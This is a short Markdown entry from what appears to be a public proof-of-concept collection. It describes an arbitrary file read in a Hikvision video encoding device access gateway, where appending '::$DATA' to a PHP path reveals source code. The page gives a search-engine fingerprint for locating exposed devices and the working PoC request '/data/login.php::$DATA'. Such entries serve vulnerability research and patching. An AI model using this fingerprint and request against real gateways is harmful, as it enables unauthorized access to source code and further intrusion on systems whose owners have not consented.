Awesome-POC/网络设备漏洞/HIKVISION 视频编码设备接入网关 $DATA 任意文件读取.md
2024-11-06 14:10:36 +08:00

507 B
Raw Blame History

Hikvision 视频编码设备接入网关 $DATA 任意文件读取

漏洞描述

Hikvision 视频编码设备接入网关存在配置错误特性特殊后缀请求php文件可读取源码

漏洞影响

Hikvision 视频编码设备接入网关

网络测绘

title="视频编码设备接入网关"

漏洞复现

登陆页面

image-20220519174129368

POC

/data/login.php::$DATA

image-20220519174235421